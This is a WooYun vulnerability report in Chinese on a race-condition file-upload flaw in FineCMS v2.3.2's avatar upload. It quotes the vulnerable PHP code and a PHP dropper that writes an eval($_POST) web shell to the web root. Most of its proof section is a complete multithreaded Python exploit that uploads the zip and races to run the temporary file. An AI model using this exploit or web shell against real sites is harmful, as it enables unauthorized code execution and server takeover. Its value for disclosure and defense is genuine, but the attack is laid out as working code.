当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063369

漏洞标题:Finecms v2.3.2前台设计缺陷导致暴力Getshell

相关厂商:dayrui.com

漏洞作者: phith0n

提交时间:2014-06-03 17:52

修复时间:2014-08-29 17:54

公开时间:2014-08-29 17:54

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-03: 细节已通知厂商并且等待厂商处理中
2014-06-08: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-08-02: 细节向核心白帽子及相关领域专家公开
2014-08-12: 细节向普通白帽子公开
2014-08-22: 细节向实习白帽子公开
2014-08-29: 细节向公众公开

简要描述:

权限竞争性上传缺陷。
版本:FineCMS for 海豚大众版 v2.3.2

详细说明:

首先,在phpcms之前的那个上传洞出来的时候,我就注意到finecms升级了一个补丁包。打开一看就是补的类似phpcms的洞,于是我知道finecms在上传头像处用的与phpcms是类似的代码。
然后phpcms后来又出了一个暴力上传的缺陷( WooYun: PHPCMS前台设计缺陷导致任意代码执行 ),我猜finecms没有补,一来看果然是这样。
先来介绍一下吧,与phpcms类似,finecms对上传头像是这样处理的:
用户上传压缩包 => php解压 => 递归删除非.jpg的文件
具体代码如下(/member/controllers/Account.php 第416行):

public function upload() {

if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) {
exit('环境不支持');
}

$dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/'; // 创建图片存储文件夹
if (!file_exists($dir)) {
mkdir($dir, 0777, true);
}
$filename = $dir.'avatar.zip'; // 存储flashpost图片
file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

// 解压缩文件
$this->load->library('Pclzip');
$this->pclzip->PclFile($filename);
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
exit($this->pclzip->zip(true));
}

// 限制文件名称
$avatararr = array('45x45.jpg', '90x90.jpg');

// 删除多余目录
$files = glob($dir."*");
foreach($files as $_files) {
if (is_dir($_files)) {
dr_dir_delete($_files);
}
if (!in_array(basename($_files), $avatararr)) {
@unlink($_files);
}
}

// 判断文件安全,删除压缩包和非jpg图片
if($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file !== '.' && $file !== '..') {
if (!in_array($file, $avatararr)) {
@unlink($dir . $file);
} else {
$info = @getimagesize($dir . $file);
if (!$info || $info[2] !=2) {
@unlink($dir . $file);
}
}
}
}
closedir($handle);
}
@unlink($filename);


那么如果我上传包含这样代码的压缩包:

<?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?>


在上传与被删除这个时间差里访问,就能在网站根目录下生成新的php文件,那么新生成的php文件是不会被删除的。
这就是一个竞争性上传漏洞,需要我们抓住这个时间差,在上传的php文件还没被删除前访问到它,就能够暴力getshell了。
利用方法与代码详见漏洞证明。

漏洞证明:

准备一个如下php文件:

<?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?>


保存为1.php,放在目录1下,将目录1打包为1.zip:

001.jpg


然后登陆finecms,记下cookie。
如下代码,你测试的时候根据自己的情况做些修改,我就不多说了,我也是直接拿felixk3y的代码修改得到的:

#coding=utf-8
import os
import sys
import socket
import urllib
import urllib2
import threading
import msvcrt
# shell: 最终生成shell的URL
# tmpfile: 文件上传生成的临时文件URL
# postu & shell & tmpfile 这三个参数根据具体情况更改
shell = '/shell.php'
tmpfile = '/member/uploadfile/member/2/1/1.php' # 2是我的uid,你测试的时候填自己的uid
class upload(threading.Thread):
def __init__(self,num,loop,host,header,tmpfile,shell):
threading.Thread.__init__(self)
self.num = num
self.loop = loop
self.host = host
self.header = header
self.shell = '%s%s' % (host,shell)
self.tmpfile = '%s%s' % (host,tmpfile)

def run(self):
while True:
print u'正在进行第%d轮尝试...\n' % self.loop
while(self.num<3):
print u'正在进行第%d次尝试访问临时文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print u'正在进行第%d次提交ZIP数据包同时试访问临时文件...' % self.num
self.send_socket(self.host,self.header)
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print u'正在进行第%d次尝试访问临时文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.loop += 1
self.num = 1
def _get(self,tmpfile):
try:
response = urllib2.urlopen(tmpfile)
if response.getcode() == 200:
print '\nSuccess!\nShell: %s\nPass is [1@3].' % self.shell
os._exit(1)
except urllib2.HTTPError,e:
pass

def send_socket(self,host,headers):
if 'http://' in host:
host = host.split('/')[2]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 80))
sock.send(headers)
sock.close()

class ThreadStop(threading.Thread):
def run(self):
try:
chr = msvcrt.getch()
if chr == 'q':
print "stopped by your action( q )."
os._exit(1)
except:
os._exit(1)

def usage():
print '\n\tUsage: upload.py <url> '
print '\n\tExp: upload.py www.vulns.org'
os._exit(0)
def hex_to_asc(ch):
ch = int(float.fromhex(ch))
return '{:c}'.format(ch)
def post_data():
postdata = ''
with open('1.zip', 'rb') as fin: # 1.zip是你的压缩包名
postdata = fin.read()
return postdata
def exploit():
num = 1
loop = 1
threads = []
host = sys.argv[1]
cookie = sys.argv[2]
if 'http://' not in host:
host = 'http://%s' % host

postdata = post_data()
mhost = host.split('/')[2]

posturl = '/member/index.php?c=account&m=upload'
header = 'POST %s HTTP/1.1\r\n' % posturl
header += 'Host: %s\r\n' % mhost
header += 'User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n'
header += 'Content-Type: application/octet-stream\r\n'
header += 'Accept-Encoding: gzip,deflate,sdch\r\n'
header += 'Content-Length: %d\r\n' % len(postdata)
header += 'Cookie: %s\r\n\r\n%s\r\n' % (cookie,postdata)

shouhu = ThreadStop()
shouhu.setDaemon(True)
shouhu.start()

for i in range(10):#线程数不能小了
t = upload(num,loop,host,header,tmpfile,shell)
t.start()
threads.append(t)
for th in threads:
t.join()
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
else:
exploit()


运行时第一个参数是目标url,第二个参数是你的cookie:

002.jpg


因为我是在本地测试的,所以很快就拿下shell了(我把生成的文件放在网站根目录下,这个可以根据自己情况修改py脚本):

003.jpg


访问可见phpinfo:

004.jpg


这个跟网速也有很大关系,如果你没能及时在你上传的文件被删除前访问之,就没法生成shell了。所以有可能要测试很多次都不成功,称之为暴力getshell也不为过,拼人品了~

修复方案:

解压这种动作最好在非web目录下进行,然后把需要的文件复制到web目录下。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-08-29 17:54

厂商回复:

最新状态:

暂无